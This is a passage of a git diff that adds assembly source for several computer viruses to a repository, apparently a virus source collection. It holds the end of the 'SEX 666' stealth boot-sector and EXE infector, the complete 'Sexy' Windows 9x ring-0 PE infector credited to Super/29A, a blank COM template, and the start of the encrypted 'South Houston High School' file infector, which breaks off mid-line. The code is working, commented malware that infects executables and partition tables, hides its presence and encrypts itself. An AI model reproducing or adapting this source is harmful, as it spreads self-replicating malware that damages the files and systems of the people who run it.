resident. The program's time will indicate 62 +; seconds, but this will be hidden if the virus is resident. +; +;------------------------------------------------------------------------------ +; +; Interrupt vectors +; +;------------------------------------------------------------------------------ + +iseg segment at 0 + org 1ch*4 + +Int1Co dw 0 ; interrupt vector 21h +Int1Cs dw 0 + + org 21h*4 + +Int21o dw 0 ; interrupt vector 21h +Int21s dw 0 + +iseg ends + +;------------------------------------------------------------------------------ +; +; Constants +; +;------------------------------------------------------------------------------ + +VirusSize equ 800h ; size of virus +BootSize equ 2bh + +;------------------------------------------------------------------------------ +; +; Macros +; +;------------------------------------------------------------------------------ + +je_n macro dest ; je >128 bytes + local ok + jne ok + jmp dest +ok: + endm + +jne_n macro dest ; jne >128 bytes + local ok + je ok + jmp dest +ok: + endm + +dbw macro _byte1,_byte2,_word + db _byte1,_byte2 + dw offset _word + endm + +cseg segment public 'code' + assume cs:cseg,ds:cseg,es:cseg + +;------------------------------------------------------------------------------ +; +; Header of EXE-file +; +;------------------------------------------------------------------------------ + +Header equ $ + +Signature dw 5a4dh ; signature 'MZ' +PartPage dw 0 ; size of partitial page +PageCount dw 8 ; number of pages +ReloCount dw 0 ; number of relocation items +HeaderSize dw 2 ; size of header +MinMem dw 40h ; minimum memory needed +MaxMem dw 40h ; maximum memory needed +ExeSS dw 0 ; initial SS +ExeSP dw VirusSize ; initial SP +CheckSum dw 0 ; unused ??? +ExeEntry equ this dword ; initial entry point +ExeIP dw offset Start ; initial IP +ExeCS dw 0 ; initial CS +ReloOffset dw 1ch ; offset of relocationtable +OverlayNr dw 0 ; number of overlay + +CryptOfs equ OverlayNr ; offset Crypt + org BootSize + +;------------------------------------------------------------------------------ +; +; Bootsector startup +; +;------------------------------------------------------------------------------ + +Bootsector: + cli + xor bx,bx + mov ds,bx + mov ss,bx + mov sp,7c00h + sti + mov ax,ds:[413h] + sub ax,(VirusSize/400h) + mov ds:[413h],ax + mov cl,6 + shl ax,cl + mov es,ax + mov ax,201h+(VirusSize/200h) + mov cx,2 + mov dx,80h + int 13h + mov bx,offset StartUp + push es + push bx + retf + +StartUp:cli + mov ax,offset Interrupt1C + xchg ax,ds:Int1Co + mov cs:OldInt1Co,ax + mov ax,cs + xchg ax,ds:Int1Cs + mov cs:OldInt1Cs,ax + mov cs:Count,182 + sti + push ds + pop es + push cs + pop ds + mov si,offset Header + mov di,7c00h + mov cx,BootSize + cld + rep movsb + mov bx,7c00h + push es + push bx + retf + +Interrupt1C: + dec cs:Count + jne Old1C + push ds + push ax + cli + xor ax,ax + mov ds,ax + mov ax,cs:OldInt1Co + mov ds:Int1Co,ax + mov ax,cs:OldInt1Cs + mov ds:Int1Cs,ax + mov ax,offset Interrupt21 + xchg ax,ds:Int21o + mov cs:OldInt21o,ax + mov ax,cs + xchg ax,ds:Int21s + mov cs:OldInt21s,ax + mov cs:Handle1,0 + mov cs:Handle2,0 + sti + pop ax + pop ds +Old1C: jmp cs:OldInt1C + +;------------------------------------------------------------------------------ +; +; Manipilated functions +; +;------------------------------------------------------------------------------ + +Functions db 11h ; 1 + dw offset FindFCB + db 12h ; 2 + dw offset FindFCB + db 30h ; 3 + dw offset Version + db 3ch ; 4 + dw offset Create + db 3dh ; 5 + dw offset Open + db 3eh ; 6 + dw offset Close + db 42h ; 7 + dw offset Seek + db 4bh ; 8 + dw offset Exec + db 4eh ; 9 + dw offset Find + db 4fh ; a + dw offset Find + db 5bh ; b + dw offset Create + db 6ch ; c + dw offset OpenCreate + +FunctionCount equ 0ch + +;------------------------------------------------------------------------------ +; +; String data +; +;------------------------------------------------------------------------------ + +MemoryMsg db 'Insufficient memory',13,10,'$' + +ChkDsk db 'CHKDSK' + +;------------------------------------------------------------------------------ +; +; Procedure to infect an EXE-file +; At the top of the EXE-file must be space to put the virus. +; +;------------------------------------------------------------------------------ + +Infect: push ax ; save registers + push bx + push cx + push dx + push ds + push cs ; ds=cs + pop ds + mov ax,4200h ; position read/write pointer + xor cx,cx ; at the end of the virus + mov dx,VirusSize + call DOS + call ReadHeader ; read orginal exe-header + add PageCount,VirusSize/200h ; adjust header for virus + mov ReloCount,0 + mov HeaderSize,0 + add MinMem,(10h+VirusSize)/10h + add MaxMem,(10h+VirusSize)/10h + jnc MaxOk + mov MaxMem,0ffffh +MaxOk: add ExeSS,VirusSize/10h + mov ExeIP,offset Main + mov ExeCS,0 + mov ax,4200h ; position read/write pointer + xor cx,cx ; at the top of the virus + xor dx,dx + call DOS + call WriteHeader ; write header at the top of + jc InfErr + mov ax,5700h ; the virus + call DOS + mov ax,5701h + or cl,1fh + call DOS +InfErr: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + ret ; return + +;------------------------------------------------------------------------------ +; +; The orginal interrupt 21h is redirected to this procedure +; +;------------------------------------------------------------------------------ + +FindFCB:call DOS ; call orginal interrupt + cmp al,0 ; error ? + jne Ret1 + pushf ; save registers + push ax + push bx + push es + mov ah,2fh ; get DTA + call DOS + cmp byte ptr es:[bx],-1 ; extended fcb ? + jne FCBOk + add bx,8 ; yes, skip 8 bytes +FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ch],VirusSize ; adjust file-size + sbb word ptr es:[bx+1eh],0 + jmp short Time + +Find: call DOS ; call orginal interrupt + jc Ret1 ; error ? + pushf ; save registers + push ax + push bx + push es + mov ah,2fh + call DOS + mov al,es:[bx+16h] ; get file-time (low byte) + and al,1fh ; seconds + cmp al,1fh ; 62 seconds ? + jne FileOk ; no, file not infected + sub word ptr es:[bx+1ah],VirusSize ; change file-size + sbb word ptr es:[bx+1ch],0 +Time: xor byte ptr es:[bx+16h],10h ; adjust file-time +FileOk: pop es ; restore registers + pop bx + pop ax + popf +Ret1: retf 2 ; return + +Version:push cx ; installation check + push si ; ds = cs + push di + push es + push cs + pop es + mov si,offset Version ; compare an part of the + mov di,si ; code segment with the code + mov cx,VersionSize ; segment of the virus + cld + repe cmpsb + pop es + pop di + pop si + pop cx + jne Old21 ; not equal, do orginal int 21h + mov ax,0DEADh ; return DEAD signature + mov bx,offset Continue ; es:dx = continue + push cs + pop es + retf 2 ; return + +VersionSize equ $-Version + +Seek: or bx,bx ; bx=0 ? + jz Old21 ; yes, do orginal interrupt + cmp bx,cs:Handle1 ; bx=handle1 ? + je Stealth ; yes, use stealth + cmp bx,cs:Handle2 ; bx=handle2 ? + jne Old21 ; no, do orginal interrupt +Stealth:push cx ; save cx + or al,al ; seek from top of file ? + jnz Ok ; no, don't change cx:dx + add dx,VirusSize ; change cx:dx + adc cx,0 +Ok: call DOS ; Execute orginal int 21h + pop cx ; restore cx + jc Ret1 ; Error ? + sub ax,VirusSize ; adjust dx:ax + sbb dx,0 + jmp short Ret1 ; return + +Close: or bx,bx ; bx=0 ? + je Old21 ; yes, do orginal interrupt + cmp bx,cs:Handle1 ; bx=handle1 + jne Not1 ; no, check handle2 + call Infect ; finish infection + mov cs:Handle1,0 ; handle1=unused +Not1: cmp bx,cs:Handle2 ; bx=handle2 + jne Not2 ; no, do orginal interrupt + call Infect + mov cs:Handle2,0 ; handle2=unused +Not2: jmp short Old21 ; continue with orginal int + +Interrupt21: + cmp cs:Disable,0 + jne Old21 + push bx ; after an int 21h instruction + push cx ; this procedure is started + mov bx,offset Functions + mov cx,FunctionCount +NxtFn: cmp ah,cs:[bx] ; search function + je Found + add bx,3 + loop NxtFn + pop cx ; function not found + pop bx +Old21: inc cs:Cryptor + jmp cs:OldInt21 + +Found: push bp ; function found, start viral + mov bp,sp ; version of function + mov bx,cs:[bx+1] + xchg bx,ss:[bp+4] + pop bp + pop cx + ret + +Create: cmp cs:Handle1,0 ; handle1=0 ? + jne Old21 ; No, can't do anything + call CheckName ; check for .exe extension + jc Old21 ; No, not an exe-file +ExtCr: call DOS ; Execute orginal interrupt + jc Ret2 ; Error ? + pushf ; save registers + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push cs + pop ds + push cs + pop es + mov bx,ax ; write virus to file + mov ax,4400h + call DOS + jc InRet + test dx,80h + jnz InRet + push bx + call Link + pop bx + mov si,offset WriteVirus + mov di,offset Header + mov cx,1ah + rep movsb + mov CryptOfs,offset Crypt + call Header + jc InErr ; Error ? + cmp ax,cx + jne InErr + mov Handle1,bx ; store handle + jmp short InRet +InErr: mov ax,4200h ; set read/write pointer to top + xor cx,cx ; of file + xor dx,dx + call DOS + mov ah,40h + xor cx,cx + call DOS +InRet: pop es ; restore registers + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + popf +Ret2: retf 2 ; return + +OpenCreate: + or al,al ; subfunction 0 ? + jne Fail ; no, do orginal interrupt + push dx + and dl,0f0h + cmp dl,020h + pop dx + je Replace + push ax ; save registers + push bx + push cx + push dx + mov ax,3d00h ; open file and close file to + mov dx,si ; check if file exists + call DOS + jc Error + mov bx,ax + mov ah,3eh + call DOS +Error: pop dx ; restore registers + pop cx + pop bx + pop ax + jnc Open ; open file, if file exists +Replace:cmp cs:Handle1,0 ; is handle1 0 ? + jne Fail ; no, do orginal interrupt + push dx ; save dx + mov dx,si + call CheckName ; check for .exe extension + pop dx ; restore dx + jc Fail + jmp ExtCr ; create if exe-file +Fail: jmp Old21 ; do orginal interrupt + +Open: cmp al,1 + je Fail + cmp cs:Handle2,0 ; handle1=0 ? + jne Fail ; No, can't do anything + call DOS ; Execute orginal interrupt + jc Ret3 ; Error ? + pushf ; save registers + push ax + push bx + push cx + push dx + push ds + push cs + pop ds + mov bx,ax ; read header of file +Ext2: mov ax,4400h + call DOS + jc Device + test dx,80h + jnz Device + mov ah,3fh + mov cx,1ch + xor dx,dx + call DOS + jc NoVir ; error ? + cmp ax,cx + jne NoVir + cmp Signature,5a4dh ; signature = 'MZ' ? + jne NoVir ; no, not infected + cmp HeaderSize,0 ; headersize = 0 ? + jne NoVir ; no, not infected + cmp ExeIP,offset Main ; ip = Start ? + jne NoVir ; no, not infected + cmp ExeCS,0 ; cx = 0 ? + jne NoVir ; no, not infected + mov Handle2,bx ; store handle + mov ax,4200h + xor cx,cx + mov dx,VirusSize ; seek to end of virus + jmp OpenOk +NoVir: mov ax,4200h + xor cx,cx + xor dx,dx +OpenOk: call DOS +Device: pop ds ; restore registers + pop dx + pop cx + pop bx + pop ax + popf +Ret3: retf 2 ; return + +Exec: push ax + push cx + push si + push di + mov si,dx + mov di,offset ChkDsk + mov cx,100h +Next7: jcxz NotChk + mov ah,cs:[di] +Next8: lodsb + and al,0dfh + cmp al,ah + loopne Next8 + push cx + push si + push di + mov cx,6 + dec si +Next9: lodsb + and al,0dfh + inc di + cmp cs:[di-1],al + loope Next9 + pop di + pop si + pop cx + jne Next7 + cmp cs:Cryptor,1000h + jae NoMsg + push dx + push ds + push cs + pop ds + mov ah,9 + mov dx,offset TextLine + call DOS + mov ah,9 + mov dx,offset Message + call DOS + pop ds + pop dx +NoMsg: pop di + pop si + pop cx + pop ax + inc cs:Disable + call DOS + dec cs:Disable + jmp Ret3 +NotChk: pop di + pop si + pop cx + pop ax + jmp Old21 + +;------------------------------------------------------------------------------ + +WriteVirus: + call CryptOfs ; encrypt + mov ah,40h ; write virus to file + mov cx,VirusSize + xor dx,dx + pushf + call cs:OldInt21 + call CryptOfs ; decrypt + ret ; return + +WriteHeader: ; write exe-header to file + mov ah,40h + jmp short Hdr + +ReadHeader: ; read exe-header from file + mov ah,3fh +Hdr: mov cx,1ch + xor dx,dx + +DOS: pushf ; call orginal interrupt + call cs:OldInt21 + ret + +CheckName: ; check for .exe + push ax ; save registers + push cx + push si + push di + xor ah,ah ; point found = 0 + mov cx,100h ; max length filename = 100h + mov si,dx ; si = start of filename + cld +NxtChr: lodsb ; get byte + or al,al ; 0 ? + je EndName ; yes, check extension + cmp al,'\' ; \ ? + je Slash ; yes, point found = 0 + cmp al,'.' ; . ? + je Point ; yes, point found = 1 + loop NxtChr ; next character + jmp EndName ; check extension +Slash: xor ah,ah ; point found = 0 + jmp NxtChr ; next character +Point: inc ah ; point found = 1 + mov di,si ; di = start of extension + jmp NxtChr ; next character +EndName:or ah,ah ; point found = 0 + je NotExe ; yes, not an exe-file + mov si,di ; si = start of extension + lodsw ; first 2 characters + and ax,0dfdfh ; uppercase + cmp ax,05845h ; EX ? + jne NotExe ; no, not an exe-file + lodsb ; 3rd character + and al,0dfh ; uppercase + cmp al,045h ; E ? + je ChkRet ; yes, return +NotExe: stc ; set carry flag +ChkRet: pop di ; restore registers + pop si + pop cx + pop ax + ret ; return + +;------------------------------------------------------------------------------ +; +; Linker for encryption procedure +; +;------------------------------------------------------------------------------ + +Part1 db 7,0 + db 1, 09ch + db 1, 050h + db 1, 051h + db 1, 052h + db 1, 056h + db 1, 057h + db 1, 01eh +Part2 db 4,0 + db 2, 00eh,01fh + db 2, 031h,0c0h + dbw 3, 0bah,Crypt-1ch + dbw 3, 0bfh,[1ch] +Part3 db 1,0 + db 3, 0fch,0ebh,00eh +Part4 db 4,0 + db 1, 0ach + db 2, 002h,0e0h + db 2, 0d0h,0cch + db 3, 030h,025h,047h +Part5 db 1,0 + db 2, 0e2h,0f6h +Part6 db 1,0 + db 4, 00bh,0d2h,074h,010h +Part7 db 2,0 + dbw 3, 0beh,Crypt + dbw 3, 0b9h,Lastbyte-Crypt +Part8 db 1,0 + db 10, 03bh,0d1h,073h,002h,08bh + db 0cah,02bh,0d1h,0ebh,0e2h +Part9 db 7,1 + db 1, 09dh + db 1, 058h + db 1, 059h + db 1, 05ah + db 1, 05eh + db 1, 05fh + db 1, 01fh +Part10 db 1,0 + db 1, 0c3h + + +Link: mov ax,Cryptor + mov cx,10 ; number of parts + mov di,offset Crypt ; destenation + mov si,offset Part1 ; source +Next1: push ax ; save registers + push cx + push di + cld + cmp byte ptr ds:[si+1],0 + je Forward + push ax + push cx + push si + xor ax,ax + mov cl,[si] + xor ch,ch + add si,2 +Next4: lodsb + add si,ax + add di,ax + loop Next4 + dec di + std + pop si + pop cx + pop ax +Forward:mov Table[0],0100h ; initialize table + mov Table[2],0302h + mov Table[4],0504h + mov Table[6],0706h + mov bx,offset Table + mov cl,ds:[si] ; get number of instructions + xor ch,ch ; to shuffle +Next2: call Shuffle + loop Next2 + pop di + mov cl,ds:[si] ; get next part + xor ch,ch + add si,2 + cld +Next6: lodsb + xor ah,ah + add si,ax + add di,ax + loop Next6 + pop cx ; restore register + pop ax + loop Next1 ; next + ret ; return + +Shuffle:xor dx,dx ; shuffle instructions + div cx + push ax + push cx + push si + xchg si,dx + mov al,ds:[bx] + xchg al,ds:[bx+si] + xchg si,dx + inc bx + pushf + cld + mov cl,al + xor ax,ax + xor ch,ch + add si,2 + jcxz First +Next5: lodsb + add si,ax + loop Next5 +First: lodsb + xor ah,ah + mov cx,ax + popf + rep movsb + pop si + pop cx + pop ax + ret + +;------------------------------------------------------------------------------ +; +; This procedure is called when starting from an exe-file +; +;------------------------------------------------------------------------------ + +MemErr: mov ah,9 ; display message + mov dx,offset MemoryMsg + int 21h + mov ax,4cffh ; terminate with error-code 255 + int 21h + +Start: mov cs:SavedAX,ax ; save registers + mov cs:SavedDS,ds + push cs ; ds = cs + pop ds + mov ah,30h ; get dos-version (installation + int 21h ; check) + cmp ax,0DEADh ; virus installed ? + jne Install ; no, install + cmp bx,offset Continue + jne Install + mov ax,ds:SavedAX + mov es:SavedAX,ax + mov ax,ds:SavedDS + mov es:SavedDS,ax + push es ; push es and dx for far return + push bx + mov ax,cs ; ax=distenation segment + mov dx,cs ; dx=segment of orginal header + add dx,VirusSize/10h + retf ; start orginal exe-file +Install:mov ah,4ah ; get memory avail + mov bx,-1 + int 21h + sub bx,(10h+VirusSize)/10h ; memory needed by virus + mov ah,4ah ; adjust memory block-size + int 21h + jc MemErr ; error ? yes, terminate + mov ah,48h ; allocate memory for virus + mov bx,VirusSize/10h + int 21h + jc MemErr ; error ? yes, terminate + mov es,ax + mov ax,201h + xor bx,bx + mov cx,1 + mov dx,80h + int 13h + jc BootOk + mov si,offset BootSector + xor di,di + mov cx,BootSize + cld + repe cmpsb + je BootOk + mov di,1beh+8 + mov cx,4 +Next3: cmp word ptr es:[di+2],0 + ja SectOk + cmp word ptr es:[di],1+(VirusSize/200h) + jbe BootOk +SectOk: loop Next3 + push ds + push es + push es + pop ds + push cs + pop es + xor si,si + xor di,di + mov cx,BootSize + cld + rep movsb + mov ax,300h+(VirusSize/200h) + mov cx,2 + int 13h + pop es + pop ds + jc BootOk + mov si,offset BootSector + xor di,di + mov cx,BootSize + cld + rep movsb + mov ax,301h + mov cx,1 + int 13h +BootOk: mov ax,es + dec ax ; get segment of MCB + mov es,ax + mov word ptr es:[1],8 ; change owner + inc ax ; get segment of memory-block + mov es,ax ; es:dx = continue + mov dx,offset Continue + push es ; push es and ds for far return + push dx + xor si,si ; copy virus to memory-block + xor di,di + mov cx,VirusSize/2 + cld + rep movsw + xor ax,ax ; ds = interrupt table + mov ds,ax + mov ax,ds:Int21o ; save interrupt 21h vector + mov es:OldInt21o,ax + mov ax,ds:Int21s + mov es:OldInt21s,ax + mov ds:Int21o,offset Interrupt21 ; store new interrupt vector + mov ds:Int21s,es + mov es:Handle1,0 ; clear handles + mov es:Handle2,0 + push cs + pop ds + mov ax,cs ; ax=distenation segment + mov dx,cs ; dx=segment of orginal header + add dx,VirusSize/10h + retf ; start orginal exe-file + +Continue: + mov ds,dx ; ds=dx + add ExeSS,ax ; adjust orginal SS + add ExeCS,ax ; adjust orginal CS + xor si,si ; copy orginal header to + xor di,di ; code segment + mov cx,0dh + cld + rep movsw + mov si,ReloOffset ; get offset of relocationtable + mov cx,ReloCount ; get number of relocationitems + add dx,HeaderSize ; get start of orginal exe-file + cld + jcxz Zero ; 0 relocation items ? +Next: push ax ; save ax + lodsw ; get offset of relocationitem + mov bx,ax + lodsw ; get segment of relocationitem + add ax,dx + mov es,ax + pop ax + add es:[bx],ax ; adjust relocationitem + loop Next ; next relocationitem +Zero: mov bx,PageCount ; get number of pages in file + cli ; disable interrupts +NxtPage:mov ds,dx ; ds = source segment + mov es,ax ; es = destenation segment + mov cx,100h ; cx = size of 1 page in words + xor si,si ; si = 0 + xor di,di ; di = 0 + rep movsw ; copy block + add ax,20h ; adjust destenation segment + add dx,20h ; adjust source segment + dec bx ; restore cx + jnz NxtPage ; next block + mov ss,cs:ExeSS ; set ss:sp + mov sp,cs:ExeSP + sti ; enable interrupts + mov ax,cs:SavedAX ; restore registers + mov ds,cs:SavedDS + mov es,cs:SavedDS + jmp cs:ExeEntry + +;------------------------------------------------------------------------------ +; +; Activation +; +;------------------------------------------------------------------------------ + +Message equ this byte + db 9,9,9,9,' SEX 666',13,10 + db 9,9,9,9,' Fuck the Demon',13,10 + db 13,10 + db 9,9,9,9,' Greetings Bit Addict',13,10 + +TextLine equ this byte + db 13,10 + db 9,9,9,9,'',13,10 + db 13,10 + db '$' + +;------------------------------------------------------------------------------ +; +; Encryption +; +;------------------------------------------------------------------------------ + +Crypt: db 58 dup(90h) ; this should be the encryption + +Cryptor dw 0 ; change the encryption by + ; changing this value + +Main: call Crypt ; decrypt + jmp Start ; jump to Start + + +LastByte equ $ ; encryption stops here + +;------------------------------------------------------------------------------ +; +; Variables +; +;------------------------------------------------------------------------------ + +OldInt1C equ this dword ; orginal interrupt 8 +OldInt1Co dw 0 +OldInt1Cs dw 0 +OldInt21 equ this dword ; orginal interrupt 21h +OldInt21o dw 0 +OldInt21s dw 0 + +Disable db 0 + +Count equ this word ; timer count +SavedAX dw 0 +SavedDS dw 0 + +Handle1 dw -1 ; Handle of exe-file created +Handle2 dw -1 ; Handle of exe-file opend + +Table dw 0,0,0,0 ; Used by link + +;------------------------------------------------------------------------------ +; +; Orginal EXE-file +; +;------------------------------------------------------------------------------ + + org VirusSize + + db 'MZ' ; header + dw 0 ; image size = 1024 bytes + dw 4 + dw 0 ; relocation items = 0 + dw 2 ; headersize = 20h + dw 40h ; minimum memory + dw 40h ; maximum memory + dw 0 ; ss + dw 400h ; sp + dw 0 ; chksum + dw 0 ; ip + dw 0 ; cs + dw 1ch ; offset relocation table + dw 0 ; overlay number + dw -1 + dw -1 + +Orginal:mov ah,9 ; display warning + push cs + pop ds + mov dx,offset Warning-VirusSize-20h + int 21h + mov ax,4c00h + int 21h ; terminate + +Warning equ this byte + + db 13,10 + db 'WARNING:',13,10 + db 13,10 + db 'SEX 666 virus is now memory resident and has now infected the',13,10 + db 'partition table !!!!!',13,10 + db 13,10 + db '$' + +cseg ends + +sseg segment stack 'stack' + db 100h dup(?) +sseg ends + +end Start + + + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/s/SEXY.ASM b/s/SEXY.ASM new file mode 100755 index 0000000..eac9c41 --- /dev/null +++ b/s/SEXY.ASM @@ -0,0 +1,258 @@ + +;===================; +; Sexy virus ; +;===================; +; Made by Super/29A ; +;===================; + +;=================================================================== + + .386p + locals + jumps + .model flat,STDCALL + +L equ + +;------------------------------------------------------------------- + +VxDCall macro vxd_id,service_id + int 20h + dw service_id + dw vxd_id +endm + +VxDJmp macro vxd_id,service_id + int 20h + dw (8000h+service_id) + dw vxd_id +endm + +IFSMgr equ 0040h +GetHeap equ 000dh +InstallFileSystemAPIhook equ 0067h +Ring0_FileIO equ 0032h + +;=================================================================== +.data + + db 'This is my first ring0 virus. And its not the last!' + +;=================================================================== +.code + +start: +; int 3 + + pushad ;save all regs + call main + +setup_ring0: + fstp real8 ptr [edi-4] ;restore int3 descriptor form copro stack + ; (and leave copro stack as before) + xchg al,[edi] ; this byte should be zero (=reserved) + scasb ; we change it to mark residency + + jz back_to_ring3 ;it's already resident + + push L 420h ;number of bytes to reserve from heap + + fld real8 ptr [esi] ;save instruction in copro stack +fix1: + VxDCall IFSMgr,GetHeap ;allocate memory + + fst real8 ptr [esi] ;restore instruction from copro stack + ;value is *not* extracted from copro stack yet + + pop ecx ;ecx=420h + xor si,si ;esi=host base address + xor cl,cl ;ecx=400h + xchg edi,eax ;edi=offset of reserved memory + push edi + rep movsb ;copy virus to memory + + lea eax,[edi-(end_code-API_hook)] + push eax + VxDCall IFSMgr,InstallFileSystemAPIhook ;install api hook + + xchg esi,eax ;esi contains the address of previous hook handler + movsd ;save previous_hook + +search_api_chain: + lodsd ;get offset of previous hook info structure + ; this structure looks like this: + ; +0=previous hook info structure (from down to top) + ; +4=address of hook handler + ; +8=next hook info structure (from top to down, that is, to the + ; (one that was installed before) + xchg esi,eax ;esi=next hook info structure + add esi,8 ;esi=third dword in structure + js search_api_chain + +;eax=Should point after the hook info struc of default handler. +; After this structure is a variable that contains the address +; of the top hook info structure + + stosd ;save offset that holds top chain + + pop eax + + pop eax + stosd ;save start of buffer in memory + + fstp real8 ptr [edi] ; + mov word ptr [edi+2],8032h ; create dinamic call + ; to call ifsmgr_ring0_fileio + +back_to_ring3: + iret ;bye bye, ring0 + + +get_delta: + pop esi + lea edi,[esp+20h] + movsd ;copy in stack the address of previous handler so as to return later + + cmp byte ptr [edi+08h],24h ; is this a file open? + jnz exit ;nope, exit + + mov ebx,[edi+18h] ;get ioreq structure + + lodsd + xchg edi,eax ;edi=holds top chain address + xor eax,eax + xchg eax,[edi] ;make top chain null, there will be no file monitor active + pushad + + lodsd + xchg edi,eax ;edi=start of buffer to read/write file + push edi + + mov ebp,esi ;ebp="vxdjmp ifsmgr_ring0_fileio" + + mov esi,[ebx+2ch] ;esi=filename in unicode format + +convert: + movsb ;convert it to asciiz format + dec edi + cmpsb + jnz convert + + pop esi + + xor eax,eax + mov ah,0d5h ;r0_opencreatefile + cdq + inc edx ;if file exists, then open the file + lea ebx,[edx+2-1] ;read/write access + call ebp ;open file + jb exit2 + + xor ebx,ebx + mov bh,0d6h ;r0_readfile + xchg ebx,eax + cdq ;edx=0=filepointer + xor ecx,ecx + mov ch,3 ;ecx=300h bytes to read + + pushad + call ebp ;read from file + cmp eax,ecx ;have we read 300h bytes? + jnz test2 ;nope, exit + mov ebx,[esi+3ch] + cmp bh,ch ;PE header before 200h? + jnb test1 ;nope, exit + add ebx,esi + cmp [ebx+55h],ch ;file header size less than 400h + jna test1 ;yep, exit + cmp word ptr [esi],'ZM' + jnz test2 + xchg ecx,[ebx+28h] ;set new entrypoint +test1: + add al,(4+fix2-start) + sub ecx,eax ;ecx=host entrypoint - 300h + mov [ebp-(r0fio-fix2)],ecx + jb test2 + cmp byte ptr [ebx],'P' +test2: + popad + jnz closefile ;error, exit + + mov ch,4 ;(ecx=400h) + inc eax ;r0_writefile + call ebp ;write header+virus = 400h bytes + +closefile: + mov ah,0d7h ;r0_closefile + call ebp + +exit2: + popad + stosd ;restore top api chain + +exit: + popad +_ret: + ret ;jump to previous hook + + +main: + mov ecx,cs + pop eax ;eax=start of ring0 code + xor cl,cl + jecxz jump_host ;jump if winNT + + lea esi,[eax+(fix1-setup_ring0)] ;esi=instruction to patch + + push edi + sidt fword ptr [esp-2] + pop edi ;edi=start of IDT + + add edi,8*3h ;edi=int3 descriptor + + fld real8 ptr [edi] ;save in coprocessor stack this descriptor + + stosw ; + scasw ; + mov ah,0eeh ; create an intgate descriptor + mov [edi],eax ; + + push ds + push es + int 3h ;jump to ring-0 ! + pop es + pop ds + +jump_host: + popad ;restore all regs + + db 0e9h ;jump to host entrypoint +fix2 dd (_ret-fix2-4) + + +db '[A92\repuS yb yxeS]' + + + +API_hook: + push eax ;reserve space in stack to copy the address to next handler + pushad + call get_delta + +end_code: + +vir_length equ ($-start) + +old_API dd ? +api_chain dd ? +buffer_start dd ? + +r0fio: + VxDJmp IFSMgr,Ring0_FileIO + + +;------------------------------------------------------------------- + + +ends +end start diff --git a/s/SHELLT.ASM b/s/SHELLT.ASM new file mode 100755 index 0000000..5d44192 --- /dev/null +++ b/s/SHELLT.ASM @@ -0,0 +1,19 @@ +;assembly language shell for a simple COM file program + + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,SS:NOTHING + + ORG 100H + +START: + +FINISH: mov ah,4CH + mov al,0 + int 21H ;terminate normally with DOS + +MAIN ENDS + + + END START + \ No newline at end of file diff --git a/s/SHHS.ASM b/s/SHHS.ASM new file mode 100755 index 0000000..caae806 --- /dev/null +++ b/s/SHHS.ASM @@ -0,0 +1,239 @@ +; Source code to South Houston High School virus ; + +codeseg segment + assume cs:codeseg, ds:codeseg + org 100h + +cr equ 13 +lf equ 10 +tab equ 9 + +start: + call encrypt_decrypt + jmp random_mutation +encrypt_val db 0 + +infect_file: + mov bx,handle ; (648C:01F2=0) + push bx ; Save handle + call encrypt_decrypt ; encrypt code + pop bx ; Restore handle + mov cx,offset eof-offset start ; Length of code + mov dx,offset start ; Start of code + mov ah,40h ; Write to handle BX + int 21h ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + call encrypt_decrypt ; decrypt code + mov al,encrypt_val ; AL= code # + add al,13 ; add 13 + adc al,0 ; plus carry + mov encrypt_val,al ; save new value + ret ; Return + + +encrypt_decrypt: + mov bx,offset encrypted ; offset of encrypted + ; code in memory + mov al,encrypt_val ; encryption value + or al,al ; 0 ? + jz skipcryptor ; Don't waste time +xor_loop: xor byte ptr [bx],al ; modify byte + inc bx ; next byte, please + add al,bh ; adjust encryption key + cmp bx,offset eof ; are we done yet? + jle xor_loop ; Nope, keep goin' +skipcryptor: ret ; Yep, bye bye! + + + +; The code from here on is encrypted until run-time (except in the case of a +; first-run copy). + + +encrypted: + + +exe_filespec db '*.EXE',0 +com_filespec db '*.COM',0 +newdir db '..',0 +fake_msg db 'Program too big to fit in memory',cr,lf,'$' +virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but ' + db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf + db cr,lf,tab,'Dedicated to the dudes at SHHS' + db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$' + +random_mutation: mov si,offset fname ; point to fname + mov di,offset tfname ; point to tfname + mov cx,13 ; 13 chars + rep movsb ; copy the string + + cmp byte ptr encrypt_val,0 ; encryption value + je install_val ; Jump if equal + mov ah,2Ch ; Get time + int 21h ; Call DOS to ^ + cmp dh,55 ; more than 55 seconds? + jg find_extension ; Yes: don't mutate + +install_val: or dl,dl ; DL = 0 ? + jnz skipmutation ; No need to mutate +skipmutation: mov encrypt_val,dl ; save code number + +find_extension: mov byte ptr files_found,0 ; Haven't found any yet + mov byte ptr files_infected,3 ; No more than 3 files + mov byte ptr success,0 ; No successful tries + +find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC + mov dx,offset exe_filespec ; point to '*.EXE',0 + mov ah,4Eh ; Find first + int 21h ; DOS Services + + jc find_com ; No more? Find EXE + call find_healthy ; Find a healthy file + +find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC + mov dx,offset com_filespec ; point to '*.COM',0 + mov ah,4Eh ; Find first match + int 21h ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + jc chdir ; No more? CD .. + call find_healthy ; Start over + +chdir: mov dx,offset newdir ; point to '..',0 + mov ah,3Bh ; CHDIR .. + int 21h ; DOS Services + jnc find_exe ; Look for EXEs + jmp exit_virus ; + +find_healthy: mov bx,80h ; points at DTA + mov ax,[bx+15h] ; original attribute + mov orig_attr,ax ; ^ + mov ax,[bx+16h] ; original time stamp + mov orig_time,ax ; ^ + mov ax,[bx+18h] ; original date stamp + mov orig_date,ax ; ^ + mov dx,9Eh ; filename + xor cx,cx ; zero out attributes + mov ax,4301h ; set attribute + int 21h ; DOS Services + + mov ax,3D02h ; Open file read&write + int 21h ; DOS Services + mov handle,ax ; save file handle + mov bx,ax ; place ^ in BX + mov cx,20 ; read in 20 chars + mov dx,offset 